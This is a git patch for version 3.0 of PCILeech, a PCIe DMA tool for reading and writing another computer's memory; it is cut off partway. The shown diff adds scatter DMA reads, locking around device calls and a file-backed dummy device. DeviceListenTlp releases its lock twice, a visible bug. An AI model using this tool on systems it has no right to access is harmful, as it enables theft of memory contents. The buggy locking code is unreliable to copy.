From de6ce1f80024b006d04ca53af1bd7c8db2393a80 Mon Sep 17 00:00:00 2001 From: ufrisk Date: Mon, 12 Mar 2018 13:07:43 +0100 Subject: [PATCH] Version 3.0 --- pcileech/Android.mk | 2 +- pcileech/Makefile | 2 +- pcileech/device.c | 305 +++-- pcileech/device.h | 16 +- pcileech/device3380.c | 4 +- pcileech/device605_tcp.c | 8 +- pcileech/devicefile.c | 86 ++ pcileech/devicefile.h | 17 + pcileech/devicefpga.c | 225 +-- pcileech/executor.c | 2 +- pcileech/extra.c | 369 ++--- pcileech/extra.h | 8 +- pcileech/help.c | 1012 +++++++------- pcileech/kmd.c | 2112 +++++++++++++++-------------- pcileech/oscompatibility.h | 14 +- pcileech/pcileech.c | 583 ++++---- pcileech/pcileech.h | 352 ++--- pcileech/pcileech.vcxproj | 8 + pcileech/pcileech.vcxproj.filters | 24 + pcileech/tlp.c | 321 +++-- pcileech/tlp.h | 24 +- pcileech/util.c | 1164 ++++++++-------- pcileech/util.h | 18 +- pcileech/vfs.c | 1659 +++++++++++----------- pcileech/vfs.h | 20 + pcileech/vmm.c | 895 ++++++++++++ pcileech/vmm.h | 300 ++++ pcileech/vmmproc.c | 917 +++++++++++++ pcileech/vmmproc.h | 38 + pcileech/vmmvfs.c | 334 +++++ pcileech/vmmvfs.h | 57 + pcileech_files/pcileech | Bin 164360 -> 173248 bytes pcileech_files/pcileech.exe | Bin 306688 -> 355840 bytes readme.md | 95 +- 34 files changed, 7047 insertions(+), 3944 deletions(-) create mode 100644 pcileech/devicefile.c create mode 100644 pcileech/devicefile.h create mode 100644 pcileech/vmm.c create mode 100644 pcileech/vmm.h create mode 100644 pcileech/vmmproc.c create mode 100644 pcileech/vmmproc.h create mode 100644 pcileech/vmmvfs.c create mode 100644 pcileech/vmmvfs.h diff --git a/pcileech/Android.mk b/pcileech/Android.mk index 18ee256..df905b4 100644 --- a/pcileech/Android.mk +++ b/pcileech/Android.mk @@ -14,7 +14,7 @@ LOCAL_CFLAGS := -D ANDROID LOCAL_LDLIBS := -L$(LOCAL_PATH)/lib -llog -g LOCAL_C_INCLUDES := bionic -LOCAL_SRC_FILES:= pcileech.c oscompatibility.c device.c device3380.c devicefpga.c device605_tcp.c executor.c extra.c help.c kmd.c memdump.c mempatch.c statistics.c tlp.c util.c vfs.c +LOCAL_SRC_FILES:= pcileech.c oscompatibility.c device.c device3380.c devicefile.c devicefpga.c device605_tcp.c executor.c extra.c help.c kmd.c memdump.c mempatch.c statistics.c tlp.c util.c vfs.c vmm.c vmmproc.c LOCAL_MODULE := pcileech LOCAL_SHARED_LIBRARIES += libusb1.0 diff --git a/pcileech/Makefile b/pcileech/Makefile index bd01240..e9b0a83 100644 --- a/pcileech/Makefile +++ b/pcileech/Makefile @@ -1,7 +1,7 @@ CC=gcc CFLAGS=-I. -D LINUX -pthread `pkg-config libusb-1.0 --libs --cflags` DEPS = pcileech.h -OBJ = pcileech oscompatibility.o pcileech.o device.o device3380.o devicefpga.o device605_tcp.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o tlp.o util.o vfs.o +OBJ = pcileech oscompatibility.o pcileech.o device.o device3380.o devicefile.o devicefpga.o device605_tcp.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o tlp.o util.o vfs.o vmm.o vmmproc.o %.o: %.c $(DEPS) $(CC) -c -o $@ $< $(CFLAGS) diff --git a/pcileech/device.c b/pcileech/device.c index 36ee6bb..281aa4e 100644 --- a/pcileech/device.c +++ b/pcileech/device.c @@ -7,178 +7,229 @@ #include "kmd.h" #include "statistics.h" #include "device3380.h" +#include "devicefile.h" #include "devicefpga.h" #include "device605_tcp.h" -typedef struct tdREAD_DMA_EX_MEMORY_MAP { - BOOL fProbeExecuted; - QWORD qwAddrBase; - DWORD cPages; - PBYTE pb; -} READ_DMA_EX_MEMORY_MAP, *PREAD_DMA_EX_MEMORY_MAP; - BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { - if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { - return DeviceReadDMA(ctx, qwAddr, pb, cb, 0) || DeviceReadDMA(ctx, qwAddr, pb, cb, 0); - } - return ctx->cfg->dev.pfnReadDMA ? ctx->cfg->dev.pfnReadDMA(ctx, qwAddr, pb, cb) : FALSE; + BOOL result; + DMA_IO_SCATTER_HEADER pDMAs[0x30], *ppDMAs[0x30]; + DWORD cDMAs, cDMAsSuccess, o; + // 1: Prefer scatter DMA (if existing) + if(ctx->cfg->dev.pfnReadScatterDMA) { + if((cb > ctx->cfg->dev.qwAddrMaxNative) || (cb > 0x24000)) { return FALSE; } + ZeroMemory(pDMAs, 0x30 * sizeof(DMA_IO_SCATTER_HEADER)); + for(cDMAs = 0, o = 0; o < cb; cDMAs++, o += 0x1000) { + pDMAs[cDMAs].qwA = qwAddr + o; + pDMAs[cDMAs].cbMax = min(0x1000, cb - o); + pDMAs[cDMAs].pb = pb + o; + ppDMAs[cDMAs] = pDMAs + cDMAs; + } + DeviceReadScatterDMA(ctx, ppDMAs, cDMAs, &cDMAsSuccess); + return (cDMAsSuccess == cDMAs); + } + // 2: Standard DMA + if(!ctx->cfg->dev.pfnReadDMA) { return FALSE; } + if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { + return DeviceReadDMA(ctx, qwAddr, pb, cb, 0) || DeviceReadDMA(ctx, qwAddr, pb, cb, 0); + } + EnterCriticalSection(&ctx->cfg->dev.LockDMA); + result = ctx->cfg->dev.pfnReadDMA(ctx, qwAddr, pb, cb); + LeaveCriticalSection(&ctx->cfg->dev.LockDMA); + return result; +} + +BOOL DeviceReadScatterDMA(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PPDMA_IO_SCATTER_HEADER ppDMAs, _In_ DWORD cpDMAs, _Out_opt_ PDWORD pcpDMAsRead) +{ + if(!ctx->cfg->dev.pfnReadScatterDMA) { return FALSE; } + EnterCriticalSection(&ctx->cfg->dev.LockDMA); + ctx->cfg->dev.pfnReadScatterDMA(ctx, ppDMAs, cpDMAs, pcpDMAsRead); + LeaveCriticalSection(&ctx->cfg->dev.LockDMA); + return TRUE; } -BOOL DeviceReadDMAEx_IsMemoryMapOK(_In_ PREAD_DMA_EX_MEMORY_MAP pMemoryMap, _In_ QWORD qwAddr, _In_ DWORD dwSize) +DWORD DeviceReadDMAEx_DoWork_Scatter(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat) { - DWORD i; - DWORD cPages = (dwSize + 0xfff) / 0x1000; - DWORD cPageStart = (DWORD)(((qwAddr + 0xfff) - pMemoryMap->qwAddrBase) / 0x1000); - for(i = cPageStart; i < cPageStart + cPages; i++) { - if(0 == pMemoryMap->pb[i]) { - return FALSE; - } - } - return TRUE; + PBYTE pbBuffer; + PDMA_IO_SCATTER_HEADER pDMAs, *ppDMAs; + DWORD i, o, cDMAs, cDMAsRead; + cDMAs = cb >> 12; + pbBuffer = (PBYTE)LocalAlloc(LMEM_ZEROINIT, cDMAs * (sizeof(PDMA_IO_SCATTER_HEADER) + sizeof(DMA_IO_SCATTER_HEADER))); + if(!pbBuffer) { return 0; } + ppDMAs = (PDMA_IO_SCATTER_HEADER*)pbBuffer; + pDMAs = (PDMA_IO_SCATTER_HEADER)(pbBuffer + cDMAs * sizeof(PDMA_IO_SCATTER_HEADER)); + for(i = 0, o = 0; i < cDMAs; i++, o += 0x1000) { + ppDMAs[i] = pDMAs + i; + pDMAs[i].qwA = qwAddr + o; + pDMAs[i].cbMax = min(0x1000, cb - o); + pDMAs[i].pb = pb + o; + } + DeviceReadScatterDMA(ctx, ppDMAs, cDMAs, &cDMAsRead); + for(i = 0; i < cDMAs; i++) { + if(pDMAs[i].cb == 0x1000) { + PageStatUpdate(pPageStat, pDMAs[i].qwA + 0x1000, 1, 0); + } else { + PageStatUpdate(pPageStat, pDMAs[i].qwA + 0x1000, 0, 1); + ZeroMemory(pDMAs[i].pb, 0x1000); + } + } + LocalFree(pbBuffer); + return cDMAsRead << 12; } -#define CHUNK_FAIL_DIVISOR 16 -DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ DWORD cbMaxSizeIo, _Inout_ PREAD_DMA_EX_MEMORY_MAP pMemoryMap, _In_ QWORD flags) +#define CHUNK_FAIL_DIVISOR 16 +DWORD DeviceReadDMAEx_DoWork(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ DWORD cbMaxSizeIo, _In_ QWORD flags) { - DWORD cbRd, cbRdOff; - DWORD cbChunk, cChunkTotal, cChunkSuccess = 0; - DWORD i, cbSuccess = 0; - BOOL result; - // calculate current chunk sizes - cbChunk = ~0xfff & min(cb, cbMaxSizeIo); - cbChunk = (cbChunk > 0x3000) ? cbChunk : 0x1000; - cChunkTotal = (cb / cbChunk) + ((cb % cbChunk) ? 1 : 0); - // try read memory - memset(pb, 0, cb); - for(i = 0; i < cChunkTotal; i++) { - cbRdOff = i * cbChunk; - cbRd = ((i == cChunkTotal - 1) && (cb % cbChunk)) ? (cb % cbChunk) : cbChunk; // (last chunk may be smaller) - result = - DeviceReadDMAEx_IsMemoryMapOK(pMemoryMap, qwAddr + cbRdOff, cbRd) && - DeviceReadDMA(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, 0); - if(!result && !pMemoryMap->fProbeExecuted && ctx->cfg->dev.pfnProbeDMA) { // probe memory on 1st fail (if supported) - memset(pMemoryMap->pb, 0, pMemoryMap->cPages); - DeviceProbeDMA(ctx, pMemoryMap->qwAddrBase, pMemoryMap->cPages, pMemoryMap->pb); - pMemoryMap->fProbeExecuted = TRUE; - } - if(result) { - cbSuccess += cbRd; - PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, cbRd / 0x1000, 0); - } else if(flags & PCILEECH_FLAG_MEM_EX_FASTFAIL) { - PageStatUpdate(pPageStat, qwAddr + cb, 0, (cb - cbRdOff) / 0x1000); - return cbSuccess; - } else if(cbRd == 0x1000) { - ZeroMemory(pb + cbRdOff, cbRd); - PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, 0, 1); - } else { - cbSuccess += DeviceReadDMAEx_DoWork(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, pPageStat, cbRd / CHUNK_FAIL_DIVISOR, pMemoryMap, flags); - } - } - return cbSuccess; + DWORD cbRd, cbRdOff; + DWORD cbChunk, cChunkTotal, cChunkSuccess = 0; + DWORD i, cbSuccess = 0; + BOOL result; + // calculate current chunk sizes + cbChunk = ~0xfff & min(cb, cbMaxSizeIo); + cbChunk = (cbChunk > 0x3000) ? cbChunk : 0x1000; + cChunkTotal = (cb / cbChunk) + ((cb % cbChunk) ? 1 : 0); + // try read memory + memset(pb, 0, cb); + for(i = 0; i < cChunkTotal; i++) { + cbRdOff = i * cbChunk; + cbRd = ((i == cChunkTotal - 1) && (cb % cbChunk)) ? (cb % cbChunk) : cbChunk; // (last chunk may be smaller) + if(ctx->cfg->dev.fScatterReadSupported) { + // scatter read, if available + cbSuccess = DeviceReadDMAEx_DoWork_Scatter(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, pPageStat); + } else { + // traditional read + result = DeviceReadDMA(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, 0); + if(result) { + cbSuccess += cbRd; + PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, cbRd / 0x1000, 0); + } else if(flags & PCILEECH_FLAG_MEM_EX_FASTFAIL) { + PageStatUpdate(pPageStat, qwAddr + cb, 0, (cb - cbRdOff) / 0x1000); + return cbSuccess; + } else if(cbRd == 0x1000) { + ZeroMemory(pb + cbRdOff, cbRd); + PageStatUpdate(pPageStat, qwAddr + cbRdOff + cbRd, 0, 1); + } else { + cbSuccess += DeviceReadDMAEx_DoWork(ctx, qwAddr + cbRdOff, pb + cbRdOff, cbRd, pPageStat, cbRd / CHUNK_FAIL_DIVISOR, flags); + } + } + } + return cbSuccess; } DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD flags) { - READ_DMA_EX_MEMORY_MAP oMemoryMap; - BYTE pbWorkaround[4096]; - DWORD cbDataRead; - // set probe memory map to all mem readable - oMemoryMap.fProbeExecuted = FALSE; - oMemoryMap.qwAddrBase = qwAddr & ~0xfff; - oMemoryMap.cPages = (cb + 0xfff) / 0x1000; - oMemoryMap.pb = LocalAlloc(0, oMemoryMap.cPages); - if(!oMemoryMap.pb) { return 0; } - memset(oMemoryMap.pb, 0x01, oMemoryMap.cPages); - // read memory (with strange workaround for 1-page reads...) - if(cb != 0x1000) { - cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pb, cb, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, &oMemoryMap, flags); - } else { - // why is this working ??? if not here console is screwed up... (threading issue?) - cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pbWorkaround, 0x1000, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, &oMemoryMap, flags); - memcpy(pb, pbWorkaround, 0x1000); - } - LocalFree(oMemoryMap.pb); - return cbDataRead; + BYTE pbWorkaround[4096]; + DWORD cbDataRead; + // read memory (with strange workaround for 1-page reads...) + if(cb != 0x1000) { + cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pb, cb, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, flags); + } else { + // why is this working ??? if not here console is screwed up... (threading issue?) + cbDataRead = DeviceReadDMAEx_DoWork(ctx, qwAddr, pbWorkaround, 0x1000, pPageStat, (DWORD)ctx->cfg->qwMaxSizeDmaIo, flags); + memcpy(pb, pbWorkaround, 0x1000); + } + return cbDataRead; } BOOL DeviceWriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { - PBYTE pbV; - BOOL result = FALSE; - if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { - return DeviceWriteDMA(ctx, qwAddr, pb, cb, 0) || DeviceWriteDMA(ctx, qwAddr, pb, cb, 0); - } - result = ctx->cfg->dev.pfnWriteDMA ? ctx->cfg->dev.pfnWriteDMA(ctx, qwAddr, pb, cb) : FALSE; - if(!result) { return FALSE; } - if(flags & PCILEECH_MEM_FLAG_VERIFYWRITE) { - pbV = LocalAlloc(0, cb + 0x2000); - if(!pbV) { return FALSE; } - result = - DeviceReadDMA(ctx, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) && - (0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb)); - LocalFree(pbV); - } - return result; + PBYTE pbV; + BOOL result = FALSE; + if(!ctx->cfg->dev.pfnWriteDMA) { return FALSE; } + if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { + return DeviceWriteDMA(ctx, qwAddr, pb, cb, 0) || DeviceWriteDMA(ctx, qwAddr, pb, cb, 0); + } + EnterCriticalSection(&ctx->cfg->dev.LockDMA); + result = ctx->cfg->dev.pfnWriteDMA(ctx, qwAddr, pb, cb); + LeaveCriticalSection(&ctx->cfg->dev.LockDMA); + if(!result) { return FALSE; } + if(flags & PCILEECH_MEM_FLAG_VERIFYWRITE) { + pbV = LocalAlloc(0, cb + 0x2000); + if(!pbV) { return FALSE; } + result = + DeviceReadDMA(ctx, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) && + (0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb)); + LocalFree(pbV); + } + return result; } BOOL DeviceProbeDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ DWORD cPages, _Inout_ __bcount(cPages) PBYTE pbResultMap) { - if(!ctx->cfg->dev.pfnProbeDMA) { return FALSE; } - ctx->cfg->dev.pfnProbeDMA(ctx, qwAddr, cPages, pbResultMap); - return TRUE; + if(!ctx->cfg->dev.pfnProbeDMA) { return FALSE; } + EnterCriticalSection(&ctx->cfg->dev.LockDMA); + ctx->cfg->dev.pfnProbeDMA(ctx, qwAddr, cPages, pbResultMap); + LeaveCriticalSection(&ctx->cfg->dev.LockDMA); + return TRUE; } BOOL DeviceWriteTlp(_Inout_ PPCILEECH_CONTEXT ctx, _In_ PBYTE pb, _In_ DWORD cb) { - if(!ctx->cfg->dev.pfnWriteTlp) { return FALSE; } - return ctx->cfg->dev.pfnWriteTlp(ctx, pb, cb); + BOOL result; + if(!ctx->cfg->dev.pfnWriteTlp) { return FALSE; } + EnterCriticalSection(&ctx->cfg->dev.LockDMA); + result = ctx->cfg->dev.pfnWriteTlp(ctx, pb, cb); + LeaveCriticalSection(&ctx->cfg->dev.LockDMA); + return result; } BOOL DeviceListenTlp(_Inout_ PPCILEECH_CONTEXT ctx, _In_ DWORD dwTime) { - if(!ctx->cfg->dev.pfnListenTlp) { return FALSE; } - return ctx->cfg->dev.pfnListenTlp(ctx, dwTime); + BOOL result; + if(!ctx->cfg->dev.pfnListenTlp) { return FALSE; } + LeaveCriticalSection(&ctx->cfg->dev.LockDMA); + result = ctx->cfg->dev.pfnListenTlp(ctx, dwTime); + LeaveCriticalSection(&ctx->cfg->dev.LockDMA); + return result; } VOID DeviceClose(_Inout_ PPCILEECH_CONTEXT ctx) { - if(ctx->hDevice && ctx->cfg->dev.pfnClose) { - ctx->cfg->dev.pfnClose(ctx); - } + if(ctx->hDevice && ctx->cfg->dev.pfnClose) { + DeleteCriticalSection(&ctx->cfg->dev.LockDMA); + ctx->cfg->dev.pfnClose(ctx); + } } BOOL DeviceOpen(_Inout_ PPCILEECH_CONTEXT ctx) { - BOOL result = FALSE; - if(PCILEECH_DEVICE_USB3380 == ctx->cfg->dev.tp || PCILEECH_DEVICE_NA == ctx->cfg->dev.tp) { - result = Device3380_Open(ctx); - } - if(PCILEECH_DEVICE_FPGA == ctx->cfg->dev.tp || PCILEECH_DEVICE_NA == ctx->cfg->dev.tp) { - result = DeviceFPGA_Open(ctx); - } - if(PCILEECH_DEVICE_SP605_TCP == ctx->cfg->dev.tp) { - result = Device605_TCP_Open(ctx); - } - return result; + BOOL result = FALSE; + if(PCILEECH_DEVICE_USB3380 == ctx->cfg->dev.tp || PCILEECH_DEVICE_NA == ctx->cfg->dev.tp) { + result = Device3380_Open(ctx); + } + if(PCILEECH_DEVICE_FPGA == ctx->cfg->dev.tp || PCILEECH_DEVICE_NA == ctx->cfg->dev.tp) { + result = DeviceFPGA_Open(ctx); + } + if(PCILEECH_DEVICE_SP605_TCP == ctx->cfg->dev.tp) { + result = Device605_TCP_Open(ctx); + } + if(PCILEECH_DEVICE_FILE == ctx->cfg->dev.tp) { + result = DeviceFile_Open(ctx); + } + if(result) { + ctx->cfg->dev.fScatterReadSupported = (ctx->cfg->dev.pfnReadScatterDMA != NULL); + InitializeCriticalSection(&ctx->cfg->dev.LockDMA); + } + return result; } BOOL DeviceWriteMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { - if(ctx->phKMD) { - return KMDWriteMemory(ctx, qwAddr, pb, cb); - } else { - return DeviceWriteDMA(ctx, qwAddr, pb, cb, flags); - } + if(ctx->phKMD) { + return KMDWriteMemory(ctx, qwAddr, pb, cb); + } else { + return DeviceWriteDMA(ctx, qwAddr, pb, cb, flags); + } } BOOL DeviceReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { - if(ctx->phKMD) { - return KMDReadMemory(ctx, qwAddr, pb, cb); - } else if(flags || cb == 0x1000) { - return DeviceReadDMA(ctx, qwAddr, pb, cb, flags); - } else { - return cb == DeviceReadDMAEx(ctx, qwAddr, pb, cb, NULL, 0); - } + if(ctx->phKMD) { + return KMDReadMemory(ctx, qwAddr, pb, cb); + } else if(flags || cb == 0x1000) { + return DeviceReadDMA(ctx, qwAddr, pb, cb, flags); + } else { + return cb == DeviceReadDMAEx(ctx, qwAddr, pb, cb, NULL, 0); + } } diff --git a/pcileech/device.h b/pcileech/device.h index 13a586f..e7fa2c8 100644 --- a/pcileech/device.h +++ b/pcileech/device.h @@ -1,6 +1,6 @@ // device.h : definitions related to the hardware devices. // -// (c) Ulf Frisk, 2016, 2017 +// (c) Ulf Frisk, 2016-2018 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __DEVICE_H__ @@ -53,6 +53,20 @@ BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE */ DWORD DeviceReadDMAEx(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _Inout_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD flags); +/* +* Read memory in various non-contigious locations specified by the items in the +* phDMAs array. Result for each unit of work will be given individually. No upper +* limit of number of items to read, but no performance boost will be given if +* above hardware limit. Max size of each unit of work is one 4k page (4096 bytes). +* -- ctx +* -- ppDMAs = array of scatter read headers. +* -- cpDMAs = count of ppDMAs. +* -- pcpDMAsRead = optional count of number of successfully read ppDMAs. +* -- return = TRUE if function is available, FALSE if not supported by hardware. +* +*/ +BOOL DeviceReadScatterDMA(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PPDMA_IO_SCATTER_HEADER ppDMAs, _In_ DWORD cpDMAs, _Out_opt_ PDWORD pcpDMAsRead); + /* * Write data to the target system using DMA. * -- ctx diff --git a/pcileech/device3380.c b/pcileech/device3380.c index be6f16b..763a588 100644 --- a/pcileech/device3380.c +++ b/pcileech/device3380.c @@ -406,9 +406,9 @@ BOOL Device3380_Open(_Inout_ PPCILEECH_CONTEXT ctx) Device3380_ReadCsr((PDEVICE_DATA)ctx->hDevice, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); } if(dwReg & 0xc0 /* Full-Speed(USB1)|High-Speed(USB2) */) { - printf("Device Info: USB330 running at USB2 speed.\n"); + printf("Device Info: USB3380 running at USB2 speed.\n"); } else if(ctx->cfg->fVerbose) { - printf("Device Info: USB330 running at USB3 speed.\n"); + printf("Device Info: USB3380 running at USB3 speed.\n"); } if(ctx->cfg->fVerbose) { printf("Device Info: USB3380.\n"); } // set callback functions and fix up config diff --git a/pcileech/device605_tcp.c b/pcileech/device605_tcp.c index fff9dc9..7a805e7 100644 --- a/pcileech/device605_tcp.c +++ b/pcileech/device605_tcp.c @@ -1,6 +1,6 @@ // device605_tcp.c : implementation related to the Xilinx SP605 dev board flashed with @d_olex bitstream. // -// (c) Ulf Frisk & @d_olex, 2017 +// (c) Ulf Frisk & @d_olex, 2017-2018 // #ifdef WIN32 @@ -84,7 +84,7 @@ typedef struct tdDEVICE_CONTEXT_SP605_TCP { DWORD cb; DWORD cbMax; } txbuf; - BOOL(*hRxTlpCallbackFn)(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMrd, _In_ PBYTE pb, _In_ DWORD cb, _In_opt_ HANDLE hEventCompleted); + VOID(*hRxTlpCallbackFn)(_Inout_ PTLP_CALLBACK_BUF_MRd pBufferMrd, _In_ PBYTE pb, _In_ DWORD cb); } DEVICE_CONTEXT_SP605_TCP, *PDEVICE_CONTEXT_SP605_TCP; //------------------------------------------------------------------------------- @@ -215,7 +215,7 @@ VOID Device605_TCP_RxTlpSynchronous(_In_ PDEVICE_CONTEXT_SP605_TCP ctx) TLP_Print(pbTlp, cdwTlp << 2, FALSE); } if (ctx->hRxTlpCallbackFn) { - ctx->hRxTlpCallbackFn(ctx->pMRdBuffer, pbTlp, cdwTlp << 2, NULL); + ctx->hRxTlpCallbackFn(ctx->pMRdBuffer, pbTlp, cdwTlp << 2); } } else { fprintf(stderr, "WARNING: BAD PCIe TLP RECEIVED! THIS SHOULD NOT HAPPEN!\n"); @@ -456,7 +456,7 @@ BOOL Device605_TCP_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) ctx->txbuf.cbMax = SP605_TCP_MAX_SIZE_TX + 0x10000; ctx->txbuf.pb = LocalAlloc(0, ctx->txbuf.cbMax); if (!ctx->txbuf.pb) { goto fail; } - ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtra; + ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtraTlp; // set callback functions and fix up config ctxPcileech->cfg->dev.tp = PCILEECH_DEVICE_SP605_TCP; ctxPcileech->cfg->dev.qwMaxSizeDmaIo = 0x1e000; diff --git a/pcileech/devicefile.c b/pcileech/devicefile.c new file mode 100644 index 0000000..64a71b2 --- /dev/null +++ b/pcileech/devicefile.c @@ -0,0 +1,86 @@ +// devicefile.c : implementation related to dummy device backed by a file. +// +// (c) Ulf Frisk, 2018 +// Author: Ulf Frisk, pcileech@frizk.net +// +#include "devicefile.h" +#include "util.h" + +typedef struct tdDEVICE_CONTEXT_FILE { + FILE *pFile; + QWORD cbFile; + LPSTR szFileName; +} DEVICE_CONTEXT_FILE, *PDEVICE_CONTEXT_FILE; + +VOID DeviceFile_ReadScatterDMA(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PPDMA_IO_SCATTER_HEADER ppDMAs, _In_ DWORD cpDMAs, _Out_opt_ PDWORD pchDMAsRead) +{ + PDEVICE_CONTEXT_FILE ctxFile = (PDEVICE_CONTEXT_FILE)ctx->hDevice; + DWORD i, cbToRead, c = 0; + PDMA_IO_SCATTER_HEADER pDMA; + for(i = 0; i < cpDMAs; i++) { + pDMA = ppDMAs[i]; + if(pDMA->qwA >= ctxFile->cbFile) { continue; } + cbToRead = (DWORD)min(pDMA->cb, ctxFile->cbFile - pDMA->qwA); + if(pDMA->qwA != _ftelli64(ctxFile->pFile)) { + if(_fseeki64(ctxFile->pFile, pDMA->qwA, SEEK_SET)) { continue; } + } + pDMA->cb = (DWORD)fread(pDMA->pb, 1, pDMA->cbMax, ctxFile->pFile); + if(ctx->cfg->fVerboseExtraTlp) { + printf("devicefile.c!DeviceFile_ReadScatterDMA: READ: file=%s offset=%016llx req_len=%08x rsp_len=%08x\n", ctxFile->szFileName, pDMA->qwA, pDMA->cbMax, pDMA->cb); + Util_PrintHexAscii(pDMA->pb, pDMA->cb, 0); + } + c += (ppDMAs[i]->cb >= ppDMAs[i]->cbMax) ? 1 : 0; + } + if(pchDMAsRead) { + *pchDMAsRead = c; + } +} + +VOID DeviceFile_ProbeDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ DWORD cPages, _Inout_ __bcount(cPages) PBYTE pbResultMap) +{ + PDEVICE_CONTEXT_FILE ctxFile = (PDEVICE_CONTEXT_FILE)ctx->hDevice; + QWORD i; + for(i = 0; i < cPages; i++) { + pbResultMap[i] = ((qwAddr + (i << 12)) < ctxFile->cbFile) ? 1 : 0; + } +} + +VOID DeviceFile_Close(_Inout_ PPCILEECH_CONTEXT ctx) +{ + PDEVICE_CONTEXT_FILE ctxFile = (PDEVICE_CONTEXT_FILE)ctx->hDevice; + if(!ctxFile) { return; } + fclose(ctxFile->pFile); + LocalFree(ctxFile); + ctx->hDevice = 0; +} + +BOOL DeviceFile_Open(_Inout_ PPCILEECH_CONTEXT ctx) +{ + PDEVICE_CONTEXT_FILE ctxFile; + ctxFile = (PDEVICE_CONTEXT_FILE)LocalAlloc(LMEM_ZEROINIT, sizeof(DEVICE_CONTEXT_FILE)); + if(!ctxFile) { return FALSE; } + // open backing file + if(fopen_s(&ctxFile->pFile, ctx->cfg->dev.szFileNameOptTpFile, "rb") || !ctxFile->pFile) { goto fail; } + if(_fseeki64(ctxFile->pFile, 0, SEEK_END)) { goto fail; } // seek to end of file + ctxFile->cbFile = _ftelli64(ctxFile->pFile); // get current file pointer + if(ctxFile->cbFile < 0x1000) { goto fail; } + ctxFile->szFileName = ctx->cfg->dev.szFileNameOptTpFile; + ctx->hDevice = (HANDLE)ctxFile; + // set callback functions and fix up config + ctx->cfg->dev.tp = PCILEECH_DEVICE_FILE; + ctx->cfg->dev.qwMaxSizeDmaIo = 0x00100000; // 1MB + ctx->cfg->dev.qwAddrMaxNative = ctxFile->cbFile; + ctx->cfg->dev.fPartialPageReadSupported = TRUE; + ctx->cfg->dev.pfnClose = DeviceFile_Close; + ctx->cfg->dev.pfnProbeDMA = DeviceFile_ProbeDMA; + ctx->cfg->dev.pfnReadScatterDMA = DeviceFile_ReadScatterDMA; + if(ctx->cfg->fVerbose) { + printf("DEVICE: Successfully opened file: '%s'.\n", ctx->cfg->dev.szFileNameOptTpFile); + } + return TRUE; +fail: + if(ctxFile->pFile) { fclose(ctxFile->pFile); } + LocalFree(ctxFile); + printf("DEVICE: ERROR: Failed opening file: '%s'.\n", ctx->cfg->dev.szFileNameOptTpFile); + return FALSE; +} diff --git a/pcileech/devicefile.h b/pcileech/devicefile.h new file mode 100644 index 0000000..7f86217 --- /dev/null +++ b/pcileech/devicefile.h @@ -0,0 +1,17 @@ +// devicefile.h : definitions related to dummy device backed by a file. +// +// (c) Ulf Frisk, 2018 +// Author: Ulf Frisk, pcileech@frizk.net 